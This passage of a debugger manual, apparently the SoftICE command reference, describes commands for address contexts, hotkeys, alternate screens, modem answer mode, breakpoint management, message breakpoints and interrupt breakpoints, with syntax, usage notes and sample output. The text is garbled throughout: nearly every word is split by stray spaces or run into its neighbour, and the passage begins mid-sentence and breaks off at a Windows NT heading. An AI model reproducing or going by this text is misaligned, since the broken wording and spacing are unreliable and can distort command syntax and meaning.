t abl e t hat
r epr esent s 4MB of memor y. Ther e can be a maxi mumof 512 ent r i es i n t he PGTPTR
ar r ay t o
r epr esent t he f ul l 2GB. I f t her e ar e l ess t han 512 ent r i es i n t he ar r ay, t he
r est of t he ent r i es i n
t he page di r ect or y ar e set t o i nval i d val ues.

When r unni ng mor e t han one i nst ance of an appl i cat i on, t he same owner name
appear s i n t he
addr ess cont ext l i st mor e t han once. I f you speci f y an owner name as a
par amet er , Sof t I CE
al ways sel ect s t he f i r st addr ess cont ext wi t h a mat chi ng name i n t he l i st . To
swi t ch t o t he
addr ess cont ext of a second or t hi r d i nst ance of an appl i cat i on, pr ovi de an
addr ess cont ext -
handl e t o t he ADDR command.

Not e: I f Sof t I CE pops up when t he Syst emVM ( VM 1) i s not t he cur r ent VM, i t i s
possi bl e
f or cont ext owner i nf or mat i on t o be paged out and unavai l abl e. I n t hese cases
no
owner i nf or mat i on di spl ays.

%Out put
For each cont ext or pr ocess, t he f ol l owi ng i nf or mat i on di spl ays.
%Handl e
Addr ess of t he cont ext cont r ol bl ock. Thi s i s t he handl e t hat i s passed
i n VxD cal l s t hat r equi r e a cont ext handl e.
%Pgt pt r
Pagina 652 di 991
Addr ess of an ar r ay of page t abl e addr esses. Each ent r y i n t he ar r ay
r epr esent s a page t abl e poi nt er . When addr ess cont ext s swi t ch, t he
appr opr i at e l ocat i on i n t he page di r ect or y r ecei ves a copy of t hi s ar r ay.
%Tabl es
Number of ent r i es i n t he PGTPTR ar r ay. Not al l ent r i es cont ai n val i d
page di r ect or y ent r i es. Thi s i s onl y t he number of ent r i es r eser ved.
%Mi nAddr
Mi ni muml i near addr ess of t he addr ess cont ext .
%MaxAddr
Maxi mumaddr ess of t he addr ess cont ext .
%Mut ex
Mut ex handl e used when VMM mani pul at es t he page t abl es f or t he cont ext .
%Owner
Name of t he f i r st pr ocess t hat uses t hi s addr ess cont ext .

%Exampl e
The f ol l owi ng command di spl ays al l cur r ent l y act i ve addr ess cont ext s. The
cont ext on t he t op
l i ne of t he di spl ay i s t he cont ext t hat Sof t I CE popped up i n. To swi t ch back t o
t hi s at any
t i me, use t he . ( DOT) command. When di spl ayi ng i nf or mat i on on al l cont ext s, one
l i ne i s
hi ghl i ght ed, i ndi cat i ng t he cur r ent cont ext wi t hi n Sof t I CE. When di spl ayi ng
dat a or
di sassembl i ng code, t he hi ghl i ght ed cont ext i s t he one you see.
. : ADDR
Handl e PGTPTR Tabl es Mi n Addr Max Addr Mut ex Owner
C1068D00 C106CD0C 0200 00400000 7FFFF000 C0FEC770 WI NWORD
C104E214 C1068068 0200 00400000 7FFFF000 C1063DBC Rundl l 32
C105AC9C C0FE5330 0002 00400000 7FFFF000 C0FE5900 QUI CKRES
C1055EF8 C105CE8C 0200 00400000 7FFFF000 C105C5EC I bser ver
C1056D10 C10571D4 0200 00400000 7FFFF000 C1056D44 Mpr exe
C10D900C C10D9024 0002 00400000 7FFFF000 C10D9050 ( cur r ent cont ext )
C10493E8 C10555FC 0004 00400000 7FFFF000 C0FE6460 KERNEL32
C1055808 C105650C 0200 00400000 7FFFF000 C105583C MSGSRV32
C10593CC C1059B78 0200 00400000 7FFFF000 C105908C Expl or er
C106AE70 C106DD10 0200 00400000 7FFFF000 C10586F0 Exchng32
C106ABC4 C106ED04 0200 00400000 7FFFF000 C106CA4C Mapi sp32
Handl e PGTPTR Tabl es Mi n Addr Max Addr Mut ex Owner


: ADDR ( NT)
^ADDR Wi ndows NT Syst emI nf or mat i on
^Di spl ay or swi t ch t o an addr ess cont ext .

%Synt ax
ADDR [ pr ocess- name | pr ocess- i d | KPEB]
KPEB: Ker nel Pr ocess Envi r onment Bl ock.

%Use
Use t he ADDR command t o bot h di spl ay and change addr ess cont ext s wi t hi n Sof t I CE
so t hat
pr ocess- speci f i c dat a and code can be vi ewed. Usi ng ADDR wi t h no par amet er s
di spl ays a l i st
of al l addr ess cont ext s.

I f you speci f y a par amet er , Sof t I CE swi t ches t o t he addr ess cont ext bel ongi ng
t o t he pr ocess
wi t h t hat name, i dent i f i er , or pr ocess cont r ol bl ock addr ess.

I f you swi t ch t o an addr ess cont ext t hat cont ai ns an LDT, Sof t I CE set s up t he
LDT wi t h t he
cor r ect base and l i mi t .
Pagina 653 di 991

Al l commands t hat use an LDT onl y wor k when t he cur r ent Sof t I CE cont ext
cont ai ns an
LDT. LDTs ar e never gl obal under Wi ndows NT.

Under l ow memor y condi t i ons, Wi ndows NT st ar t s swappi ng dat a t o di sk, i ncl udi ng
i nact i ve
pr ocesses, par t s of t he page di r ect or y, and page t abl es. When t hi s occur s,
Sof t I CE may not be
abl e obt ai n t he i nf or mat i on necessar y t o swi t ch t o cont ext s t hat r el y on t hi s
i nf or mat i on.
Sof t I CE i ndi cat es t hi s by di spl ayi ng t he message swapped i n t he CR3 f i el d of
t he pr ocess or
di spl ayi ng an er r or message i f an at t empt i s made t o swi t ch t o t he cont ext of
t he pr ocess.
When di spl ayi ng i nf or mat i on about al l cont ext s, one l i ne i s hi ghl i ght ed,
i ndi cat i ng t he
cur r ent cont ext wi t hi n Sof t I CE. When di spl ayi ng dat a or di sassembl i ng code, t he
hi ghl i ght ed
cont ext i s t he one you see.

An * ( ast er i sk) pr ecedes one l i ne of t he di spl ay, i ndi cat i ng t he pr ocess t hat
was act i ve when
Sof t I CE popped up. Use t he . ( DOT) command t o swi t ch cont ext s back t o t hi s
cont ext at any
t i me.
%Out put
For each cont ext or pr ocess, t he f ol l owi ng i nf or mat i on i s shown:
%CR3
Physi cal addr ess of t he page di r ect or y t hat i s pl aced i nt o t he CR3
r egi st er on a pr ocess swi t ch t o t he pr ocess.
%LDT
I f t he pr ocess has an LDT, t hi s f i el d has t he l i near base addr ess of t he
LDT and t he l i mi t f i el d f or t he LDT sel ect or . Al l Wi ndows NT
pr ocesses t hat have an LDT use t he same LDT sel ect or . For pr ocess
swi t ches, Wi ndows NT set s t he base and l i mi t f i el ds of t hi s sel ect or .
%KPEB
Li near addr ess of t he Ker nel Pr ocess Envi r onment Bl ock f or t he
pr ocess.
%PI D
Pr ocess I D. Each pr ocess has a uni que I D.
%NAME
Name of t he pr ocess.

%Exampl e
The f ol l owi ng exampl e shows t he ADDR command bei ng used wi t hout par amet er s t o
di spl ay
al l t he exi st i ng cont ext s.

: ADDR
PROC
CR3 LDT Base: Li mi t KPEB PI D NAME
00030000 FD8EA920 0002 Syst em
011FB000 FD8CD880 0013 smss
017A5000 FD8BFB60 0016 csr ss
01B69000 FD8BADE0 001B wi nl ogon
01CF3000 FD8B6B40 0027 ser vi ces
01D37000 FD8B5760 0029 l sass
00FFA000 FD8A8AE0 0040 spool ss
009A5000 FD89F7E0 002B nddeagnt
00AA5000 FD89CB40 004A pr ogman
006D2000 E115F000: FFEF FD899DE0 0054 nt vdm
00837000 FD896D80 0059 CLOCK
Pagina 654 di 991
00C8C000 FD89C020 0046 scm
00387000 FD89E5E0 004E 4NT
*0121C000 E1172000: 0187 FD88CCA0 0037 nt vdm
00030000 8013DD50 0000 I dl e


: ALTKEY
^ALTKEY Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Set an al t er nat e key sequence t o i nvoke Sof t I CE.

%Synt ax
ALTKEY [ Al t l et t er | Ct r l l et t er ]
l et t er Any l et t er ( A t hr ough Z) .

%Use
Use t he ALTKEY command t o change t he key sequence ( def aul t key Ct r l - D) f or
poppi ng up
Sof t I CE. Occasi onal l y anot her pr ogr ammay conf l i ct wi t h t he hot key sequence.
You can
change t he key sequence t o ei t her of t he f ol l owi ng sequences:
Ct r l + l et t er
or
Al t + l et t er
I f you do not speci f y a par amet er , t he cur r ent hot key sequence di spl ays.
To change t he hot key sequence ever y t i me you r un Sof t I CE, Conf i gur e Sof t I CE i n
t he
Sof t I CE Loader t o pl ace t he ALTKEY command i n t he Sof t I CE i ni t i al i zat i on
st r i ng.

%Exampl e
To speci f y t hat t he key sequence Al t - Z pop up t he Sof t I CE scr een, use t he
f ol l owi ng
command:
ALTKEY al t z

: ALTSCR
^ALTSCR Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Wi ndowCont r ol
^Di spl ay Sof t I CE on an al t er nat e scr een.

%Synt ax
ALTSCR [ on | of f ]

%Use
Use t he ALTSCR command t o r edi r ect t he Sof t I CE out put f r omt he def aul t scr een
t o an
al t er nat e monochr ome moni t or .

ALTSCR r equi r es t he syst emt o have t wo moni t or s at t ached. The al t er nat e moni t or
shoul d be
a monochr ome moni t or i n a char act er mode ( t he def aul t mode) .

The def aul t set t i ng i s ALTSCR mode OFF.

Hi nt : To change t he Sof t I CE di spl ay scr een ever y t i me you r un Sof t I CE, pl ace
t he ALTSCR
command i n t he I ni t i al i zat i on st r i ng wi t hi n your Sof t I CE conf i gur at i on
set t i ngs. Ref er
t o Chapt er 8, ``Cust omi zi ng Sof t I CE' ' i n t he Usi ng Sof t I CE gui de.

I n t he Sof t I CE pr ogr amgr oup, use Vi deo Set up t o sel ect t he monochr ome moni t or .
Sof t I CE
aut omat i cal l y st ar t s out i n monochr ome mode maki ng t he ALTSCR command
unnecessar y.
Pagina 655 di 991
Al so use t hi s set t i ng i f you ar e exper i enci ng vi deo pr obl ems even when ALTSCR
ON i s i n t he
i ni t i al i zat i on st r i ng.

%For Wi ndows 95
You can al so st ar t WI NI CE wi t h t he / M par amet er t o bypass t he i ni t i al VGA
pr ogr ammi ng
and f or ce Sof t I CE t o t he al t er nat e monochr ome scr een. Thi s i s usef ul i f your
vi deo boar d
exper i ences conf l i ct s wi t h t he i ni t i al pr ogr ammi ng.

%Exampl e
To r edi r ect scr een out put t o t he al t er nat e moni t or , use t he f ol l owi ng
command:
ALTSCR on

: ANSWER
^ANSWER Wi ndows 95, Wi ndows NT Cust omi zat i on
^Aut o- answer and r edi r ect consol e t o modem.

%Synt ax
ANSWER [ on [ com- por t ] [ baud- r at e] [ i =i ni t ] | of f ]
com- por t : I f no com- por t i s speci f i ed i t uses COM1.
baud- r at e: Baud- r at e t o use f or modemcommuni cat i ons. The def aul t i s 38400.
The r at es i ncl ude 1200, 2400, 4800, 9600, 19200, 23040, 28800,
38400, 57000, 115000.
i =i ni t : Opt i onal modemi ni t i al i zat i on st r i ng.

%Use
The ANSWER command al l ows Sof t I CE t o answer an i ncomi ng cal l and r edi r ect al l
out put
t o a connect i ng PC r unni ng t he SERI AL. EXE pr ogr ami n di al mode. Af t er t he
command i s
execut ed, Sof t I CE l i st ens f or i ncomi ng cal l s on t he speci f i ed com- por t whi l e
t he machi ne
cont i nues nor mal oper at i on. I ncomi ng cal l s ar e gener at ed by t he SERI AL. EXE
pr ogr amon a
r emot e machi ne.

You can pl ace a def aul t ANSWER i ni t i al i zat i on st r i ng i n t he Sof t I CE
conf i gur at i on set t i ngs.
Ref er t o Chapt er 8, ``Cust omi zi ng Sof t I CE' ' i n t he Usi ng Sof t I CE gui de.

When Sof t I CE det ect s a cal l bei ng made af t er t he ANSWER command has been
ent er ed, i t
pops up and i ndi cat es t hat i t i s maki ng a connect i on wi t h a r emot e machi ne,
t hen pops down.
The l ocal machi ne appear s t o be hung whi l e a r emot e connect i on i s i n ef f ect .
The ANSWER command can be cancel l ed at any t i me wi t h ANSWER OFF. Thi s st ops
Sof t I CE f r oml i st eni ng f or i ncomi ng cal l s.

%Exampl e
The f ol l owi ng i s an exampl e of t he ANSWER command. Sof t I CE f i r st i ni t i al i zes
t he modem
on com- por t 2 wi t h t he st r i ng ``at x0, ' ' and t hen r et ur ns cont r ol t o t he command
pr ompt .
Fr omt hat poi nt on i t answer s cal l s made on t he modemand at t empt s t o connect
at a baud
r at e of 38400bps.
ANSWER on 2 38400 i =at x0

The f ol l owi ng i s an exampl e of a def aul t ANSWER i ni t i al i zat i on st r i ng st at ement
i n your
Pagina 656 di 991
Sof t I CE conf i gur at i on set t i ngs. Wi t h t hi s st at ement i n pl ace, Sof t I CE al ways
i ni t i al i zes t he
modemspeci f i ed i n ANSWER commands wi t h ``at x0, ' ' unl ess t he ANSWER command
expl i ci t l y speci f i es an i ni t i al i zat i on st r i ng.
ANSWER=at x0
See Al so ~SERI AL~

: BC
^BC Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ngBr eakpoi nt s
^Cl ear one or mor e br eakpoi nt s.

%Synt ax
BC l i st | *
l i st : Ser i es of br eakpoi nt i ndexes separ at ed by commas or spaces.
*: Cl ear s al l br eakpoi nt s.

%Exampl e
To cl ear al l br eakpoi nt s, use t he command:
BC *

To cl ear br eakpoi nt s 1 and 5, use t he command:
BC 1 5

I f you use t he BL command ( l i st br eakpoi nt s) , t he br eakpoi nt l i st wi l l be empt y
unt i l you
def i ne mor e br eakpoi nt s.

: BD
^BD Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ngBr eakpoi nt s
^Di sabl e one or mor e br eakpoi nt s.

%Synt ax
BD l i st | *
l i st : Ser i es of br eakpoi nt i ndexes separ at ed by commas or spaces.
*: Di sabl es al l br eakpoi nt s.

%Use
Use t he BD command t o t empor ar i l y deact i vat e br eakpoi nt s. React i vat e t he
br eakpoi nt s wi t h
t he BE command ( enabl e br eakpoi nt s) .

To t el l whi ch of t he br eakpoi nt s ar e di sabl ed, l i st t he br eakpoi nt s wi t h t he BL
command. A
br eakpoi nt t hat i s di sabl ed has an * ( ast er i sk) af t er t he br eakpoi nt i ndex.

%Exampl e
To di sabl e br eakpoi nt s 1 and 3, use t he command:
BD 1 3

: BE
^BE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ngBr eakpoi nt s
^Enabl e one or mor e br eakpoi nt s.

%Synt ax BE l i st | *
l i st : Ser i es of br eakpoi nt i ndexes separ at ed by commas or spaces.
*: Enabl es al l br eakpoi nt s.

%Use
Use t he BE command t o r eact i vat e br eakpoi nt s t hat you deact i vat ed wi t h
t he BD command ( di sabl e br eakpoi nt s) . Not e: You aut omat i cal l y enabl e a
br eakpoi nt when you f i r st def i ne i t or edi t i t .

%Exampl e
Pagina 657 di 991
To enabl e br eakpoi nt 3, use t he command: BE 3

: BH
^BH Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ng Br eakpoi nt s
^Li st and/ or sel ect pr evi ousl y set br eakpoi nt s f r omt he br eakpoi nt hi st or y.

%Synt ax
BH

%Use
Use t he BH command t o r ecal l br eakpoi nt s t hat you set i n bot h t he cur r ent and
pr evi ous
Sof t I CE sessi ons. Al l saved br eakpoi nt s di spl ay i n t he Command wi ndow and can
be sel ect ed
usi ng t he f ol l owi ng keys:
%UpAr r ow
Posi t i ons t he cur sor one l i ne up. I f t he cur sor i s on t he t op l i ne of t he
Command wi ndow, t he l i st scr ol l s.
%DownAr r ow
Posi t i ons t he cur sor one l i ne down. I f t he cur sor i s on t he bot t oml i ne
of t he Command wi ndow, t he l i st scr ol l s.
%I nser t
Sel ect s t he br eakpoi nt at t he cur r ent cur sor l i ne, or desel ect s i t i f
al r eady sel ect ed.
%Ent er
Set s al l sel ect ed br eakpoi nt s.
%Esc
Exi t s br eakpoi nt hi st or y wi t hout set t i ng any br eakpoi nt s.

Sof t I CE saves t he l ast 32 br eakpoi nt s.

%For Wi ndows 3. 1 and Wi ndows 95
Each t i me Wi ndows exi t s nor mal l y, t hese br eakpoi nt s ar e wr i t t en t o t he
WI NI CE. BRK f i l e i n
t he same di r ect or y as WI NI CE. EXE. Ever y t i me Sof t I CE i s l oaded, i t r eads t he
br eakpoi nt
hi st or y f r omt he WI NI CE. BRK f i l e.

%For Wi ndows 95
I F you choose t o conf i gur e Wi ndows 95 t o l oad Sof t I CE bef or e WI N. COM by
appendi ng
\ si w95\ wi ni ce. exe t o t he end of your AUTOEXEC. BAT, Wi ndows 95 does not r et ur n
cont r ol
t o Sof t I CE when i t shut s down unl ess you set t he Boot GUI opt i on i n MSDOS. SYS t o
Boot GUI =0. I f t hi s opt i on i s set t o Boot GUI =1, Sof t I CE does not save t he br eak-
poi nt
hi st or y f i l e. Ref er t o Chapt er 2, ``I nst al l i ng Sof t I CE, ' ' i n t he Usi ng Sof t I CE
manual f or mor e
i nf or mat i on about conf i gur i ng when Sof t I CE l oads.

%For Wi ndows NT
Br eakpoi nt s ar e wr i t t en t o t he WI NI CE. BRK f i l e i n t he \ SYSTEMROOT\ SYSTEM32
\ DRI VERS di r ect or y.

%Exampl e
To sel ect any of t he l ast 32 br eakpoi nt s f r omcur r ent and pr evi ous Sof t I CE
sessi ons, use t he
command:
BH

: BL
^BL Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ngBr eakpoi nt s
^Li st al l br eakpoi nt s.
Pagina 658 di 991

%Synt ax
BL

%Use
The BL command di spl ays al l br eakpoi nt s t hat ar e cur r ent l y set . For each
br eakpoi nt , BL l i st s
t he br eakpoi nt i ndex, br eakpoi nt t ype, br eakpoi nt st at e, and any condi t i onal s
or br eakpoi nt
act i ons.

The st at e of a br eakpoi nt i s ei t her enabl ed or di sabl ed. I f you di sabl e t he
br eakpoi nt , an *
( ast er i sk) appear s af t er i t s br eakpoi nt i ndex. I f Sof t I CE i s act i vat ed due t o a
br eakpoi nt , t hat
br eakpoi nt i s hi ghl i ght ed.

The BL command has no par amet er s.

%Exampl e
To di spl ay al l t he br eakpoi nt s t hat have been def i ned, use t he command.
BL

%For Wi ndows 3. 1
Not e: Br eakpoi nt 1 has an * ( ast er i sk) f ol l owi ng i t , showi ng t hat i t was
di sabl ed.

%For Wi ndows 95 and Wi ndows NT
0 BPMB #30: 123400 WEQ 0010 DR3 C=03
1* BPR #30: 80022800 #30: 80022FFF WC=01
2 BPI O 0021 WNE 00FF C=01
3 BPI NT 21 AH=3D C=01
00) BPX #8: 80102A4B I F ( EAX==1) DO ``DD ESI ' '
01) * BPX _LockWi ndowI nf o
02) BPMD #013F: 0063F8A0 RWDR3
03) BPI NT 2E I F ( EAX==0x1E)

: BMSG
^BMSG Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Br eakpoi nt s
^Set a br eakpoi nt on one or mor e Wi ndows messages.

%Synt ax For Wi ndows 3. 1
BMSG wi ndow- handl e [ L] [ begi n- msg [ end- msg] ] [ c=count ]

%For Wi ndows 95 and Wi ndows NT
BMSG wi ndow- handl e [ L] [ begi n- msg [ end- msg ] ] [ I F expr essi on]
[ DO " command1; command2; . . . " ]

wi ndow- handl e: HWND val ue r et ur ned f r omCr eat eWi ndow or Cr eat eWi ndowEX.
begi n- msg: Si ngl e Wi ndows message or l ower message number i n a r ange of
Wi ndows messages. I f you do not speci f y a r ange wi t h an end- msg,
onl y t he begi n- msg wi l l cause a br eak.
Not e: For bot h begi n- msg and end- msg, t he message number s can be
speci f i ed ei t her i n hexadeci mal or by usi ng t he act ual ASCI I names of
t he messages, f or exampl e, WM_QUI T.
end- msg: Hi gher message number i n a r ange of Wi ndows messages.
L: Logs messages t o t he Sof t I CE Command wi ndow.
c=: Br eakpoi nt t r i gger count .
I F expr essi on Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger .
DO: command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.
Pagina 659 di 991

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .

%Use
The BMSG command i s used t o set br eakpoi nt s on a wi ndow' s message handl er t hat
wi l l
t r i gger when t hey r ecei ve messages t hat ei t her mat ch a speci f i ed message t ype,
or f al l wi t hi n an
i ndi cat ed r ange of message t ypes.
. I f you do not speci f y a message r ange, t he br eakpoi nt appl i es t o ALL Wi ndows
messages.
. I f you speci f y t he L par amet er , Sof t I CE l ogs t he messages i nt o t he Command
wi ndow
i nst ead of poppi ng up when t he message occur s.

When Sof t I CE does pop up on a BMSG br eakpoi nt , t he i nst r uct i on poi nt er
( CS: [ E] I P) i s on
t he f i r st i nst r uct i on of t he message handl i ng pr ocedur e. Each t i me Sof t I CE
br eaks, t he cur r ent
message di spl ays i n t he f ol l owi ng f or mat :

hWnd=xxxx wPar am=xxxx l Par am=xxxxxxxx msg=xxxx message- name

Not e: These ar e t he par amet er s t hat ar e passed t o t he message pr ocedur e. Al l
number s ar e
hexadeci mal . The message- name i s t he Wi ndows def i ned name f or t he message.

To di spl ay val i d Wi ndows messages, ent er t he WMSG command wi t h no par amet er s.
To
obt ai n val i d wi ndow handl es, use t he HWND command.

You may set mul t i pl e BMSG br eakpoi nt s on one wi ndow- handl e, al t hough t he
message
r anges f or t he br eakpoi nt s may not over l ap.

%Exampl e
Thi s command set s a br eakpoi nt on t he message handl er f or t he Wi ndow t hat has
t he handl e
9BC. The br eakpoi nt t r i gger s and Sof t I CE pops up when t he message handl er
r ecei ves
messages wi t h a t ype wi t hi n t he r ange WM_MOUSEFI RST t o WM_MOUSELAST,
i ncl usi ve ( whi ch i ncl udes al l of t he Wi ndows mouse messages) .
. : BMSG 9BC wm_mousef i r st wm_mousel ast

The next command pl aces a br eakpoi nt on t he message handl er f or t he Wi ndow wi t h
t he
handl e F4C. The L par amet er causes t he br eakpoi nt i nf or mat i on t o be l ogged t o
t he Sof t I CE
Command wi ndow, i nst ead of havi ng Sof t I CE pop up when t he br eakpoi nt i s
t r i gger ed. The
message r ange t hat t he br eakpoi nt t r i gger s on i ncl udes any message wi t h a t ype
val ue l ess t han
or equal t o WM_CREATE. Out put f r omt hi s br eakpoi nt bei ng t r i gger ed can be
vi ewed by
poppi ng i nt o Sof t I CE and scr ol l i ng t hr ough t he command buf f er .
. : BMSG f 4c L 0 wm_cr eat e

: BPE
^BPE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mani pul at i ngBr eakpoi nt s
^Edi t a br eakpoi nt descr i pt i on.
Pagina 660 di 991

%Synt ax
BPE br eakpoi nt - i ndex
br eakpoi nt - i ndex: Br eakpoi nt i ndex number .

%Use
The BPE command al l ows you t o edi t or r epl ace an exi st i ng br eakpoi nt . Use t he
edi t i ng keys
t o edi t t he br eakpoi nt descr i pt i on. Pr ess Ent er t o save a new br eakpoi nt
descr i pt i on. Thi s
command of f er s a qui ck way t o modi f y t he par amet er s of an exi st i ng br eakpoi nt .

War ni ng: BPE f i r st cl ear s t he br eakpoi nt bef or e l oadi ng i t i nt o t he edi t l i ne.
I f you t hen pr ess
t he Escape key, t he br eakpoi nt i s cl ear ed. To r et ai n t he or i gi nal br eakpoi nt
and
cr eat e anot her one, use t he BPT command, whi ch uses t he or i gi nal br eakpoi nt as
an edi t i ng t empl at e wi t hout f i r st del et i ng i t .

Condi t i onal expr essi ons and br eakpoi nt act i ons ar e expanded as par t s of t he
br eakpoi nt
expr essi on.
%Exampl e
Thi s command al l ows t he def i ni t i on f or br eakpoi nt 1 t o be edi t ed.
. : BPE 1

When t he command i s ent er ed, Sof t I CE di spl ays t he exi st i ng br eakpoi nt
def i ni t i on and
posi t i ons t he i nput cur sor j ust af t er t he br eakpoi nt addr ess.
. : BPE 1
. : BPX 80104324 i f ( eax==1) do ``dd esi ' '

To r e- ent er t he br eakpoi nt , pr ess t he Ent er key. To cl ear t he br eakpoi nt , pr ess
t he Escape key.

: BPI NT
^BPI NT Wi ndows 3. 1 Br eakpoi nt s
^Set a br eakpoi nt on an i nt er r upt .

%Synt ax
BPI NT i nt - number [ al | ah| ax=val ue] [ c=count ]

i nt - number : I nt er r upt number f r om0 - 5Fh.
val ue: Byt e or wor d val ue.
c=: Br eakpoi nt t r i gger count .

%Use
Use t he BPI NT command t o pop up Sof t I CE whenever a speci f i ed pr ocessor
except i on,
har dwar e i nt er r upt , or sof t war e i nt er r upt occur s. The AX r egi st er qual i f yi ng
val ue
( AL=, AH=, or AX=) can be used t o set br eakpoi nt s t hat t r i gger onl y when t he AX
r egi st er at
t he t i me t hat t he i nt er r upt or except i on occur s mat ches t he speci f i ed val ue.
Thi s capabi l i t y i s
of t en used t o sel ect i vel y set br eakpoi nt s f or DOS and BI OS cal l s. I f an AX
r egi st er val ue i s not
ent er ed, t he br eakpoi nt occur s anyt i me t he i nt er r upt or except i on occur s,
r egar dl ess of t he
val ue of t he AX r egi st er at t he t i me.

For br eakpoi nt s t hat t r i gger f or har dwar e i nt er r upt s or pr ocessor except i ons,
t he i nst r uct i on
Pagina 661 di 991
poi nt er ( CS: EI P) at t he t i me Sof t I CE pops up wi l l poi nt at t he f i r st
i nst r uct i on of t he
i nt er r upt or except i on handl er r out i ne poi nt ed at by t he I DT. I f a sof t war e
i nt er r upt t r i gger s
t he br eakpoi nt , t he i nst r uct i on poi nt er ( CS: EI P) poi nt s at t he I NT i nst r uct i on
t hat caused
t he br eakpoi nt .

BPI NT onl y wor ks f or i nt er r upt s t hat ar e handl ed t hr ough t he I DT.
I n addi t i on, Wi ndows maps har dwar e i nt er r upt s, whi ch by def aul t map t o vect or s
8- Fh and
70h- 77h, t o hi gher number s t o pr event conf l i ct s wi t h sof t war e i nt er r upt s. The
pr i mar y
i nt er r upt cont r ol l er i s mapped f r omvect or 50h- 57h. The secondar y i nt er r upt
cont r ol l er i s
mapped f r omvect or 58h- 5Fh.

Exampl e: I RQ0 i s I NT50h and I RQ8 i s I NT58h.

I f a BPI NT goes of f due t o a sof t war e i nt er r upt i nst r uct i on i n a DOS VM,
cont r ol wi l l be
t r ansf er r ed t o t he Wi ndows pr ot ect ed mode i nt er r upt handl er f or pr ot ect i on
f aul t s, whi ch
event ual l y cal l down t o t he appr opr i at e DOS VM' s i nt er r upt handl er ( poi nt ed at
by t he DOS
VM' s I nt er r upt Vect or Tabl e) . To go di r ect l y t o t he DOS VM' s i nt er r upt handl er
af t er t he
BPI NT has occur r ed on a sof t war e i nt er r upt i nst r uct i on, use t he f ol l owi ng
command:
G @$0: i nt - number *4

%Exampl e
The f ol l owi ng command def i nes a br eakpoi nt f or i nt er r upt 21h. The br eakpoi nt
occur s when
DOS f unct i on cal l 4Ch ( t er mi nat e pr ogr am) i s cal l ed. At t he t i me Sof t I CE pops
up, t he
i nst r uct i on poi nt er wi l l poi nt at t he I NT i nst r uct i on i n t he DOS VM.
BPI NT 21 ah=4c

The next command set s a br eakpoi nt t hat t r i gger s on each and ever y t i ck of t he
har dwar e
cl ock ( i n gener al t hi s i s not r ecommended f or t he obvi ous r eason t hat i t
t r i gger s ver y of t en! ) .
At t he t i me Sof t I CE pops up, t he i nst r uct i on poi nt er wi l l be at t he f i r st
i nst r uct i on of t he
Wi ndows i nt er r upt handl er f or i nt er r upt 50h.
BPI NT 50


: BPI NT ( NT)
^BPI NT Wi ndows 95, Wi ndows NT Br eakpoi nt s
^Set a br eakpoi nt on an i nt er r upt .

%Synt ax
BPI NT i nt - number [ I F expr essi on] [ DO " command1; command2; . . . " ]
i nt - number : I nt er r upt number f r om0 - FFh.
I F expr essi on: Condi t i onal expr essi on: t he expr essi on must eval uat e t o TRUE
( non-
zer o) f or t he br eakpoi nt t o t r i gger
DO command Br eakpoi nt act i on: A ser i es of Sof t I CE commands can execut e when
t he br eakpoi nt t r i gger s.

Not e: You can combi ne br eakpoi nt count f unct i ons ( BPCOUNT, BPMI SS, BPTOTAL,
Pagina 662 di 991
BPLOG, and BPI NDEX) wi t h condi t i onal expr essi ons t o moni t or and cont r ol
br eakpoi nt s based on t he number of t i mes a par t i cul ar br eakpoi nt has or has not
t r i gger ed. See Chapt er 6, ``Usi ng Br eakpoi nt s, ' ' i n t he Usi ng Sof t I CE manual .

%Use
Use t he BPI NT command t o pop up Sof t I CE whenever a speci f i ed pr ocessor
except i on,
har dwar e i nt er r upt , or sof t war e i nt er r upt occur s. The I F opt i on al l ows
ar bi t r ar y f i l t er i ng of
i nt er r upt s t hat r esul t i n br eakpoi nt s. The DO opt i on pr ovi des t he abi l i t y t o
associ at e Sof t I CE
commands wi t h i nt er r upt s such t hat t hey execut e any t i me t he i nt er r upt
br eakpoi nt t r i gger s.

For br eakpoi nt s t hat t r i gger f or har dwar e i nt er r upt s or pr ocessor except i ons,
t he i nst r uct i on
poi nt er ( CS: EI P) at t he t i me Sof t I CE pops up wi l l poi nt at t he f i r st
i nst r uct i on of t he
i nt er r upt or except i on handl er r out i ne poi nt ed at by t he I DT. I f a sof t war e
i nt er r upt t r i gger s
t he br eakpoi nt , t he i nst r uct i on poi nt er ( CS: EI P) wi l l poi nt at t he I NT
i nst r uct i on t hat caused
t he br eakpoi nt .

BPI NT onl y wor ks f or i nt er r upt s t hat ar e handl ed t hr ough t he I DT.

I f a sof t war e i nt er r upt occur s i n a DOS VM, cont r ol i s t r ansf er r ed t o a Wi ndows
pr ot ect ed
mode i nt er r upt handl er , whi ch event ual l y cal l s down t o t he DOS VM' s i nt er r upt
handl er
( poi nt ed at by t he DOS VM' s I nt er r upt Vect or Tabl e) . To go di r ect l y t o t he DOS
VM' s
i nt er r upt handl er af t er t he BPI NT has occur r ed on a sof t war e i nt er r upt
i nst r uct i on, use t he
f ol l owi ng command:
G @&0: ( i nt - number *4)

Wi ndows maps har dwar e i nt er r upt s, whi ch by def aul t map t o vect or s 8- Fh and 70h-
77h, t o
hi gher number s t o pr event conf l i ct s wi t h sof t war e i nt er r upt s. The pr i mar y
i nt er r upt
cont r ol l er i s mapped f r omvect or 50h- 57h. The secondar y i nt er r upt cont r ol l er i s
mapped
f r omvect or 58h- 5Fh.
Exampl e: I RQ0 i s I NT50h and I RQ8 i s I NT58h.

For Wi ndows NT
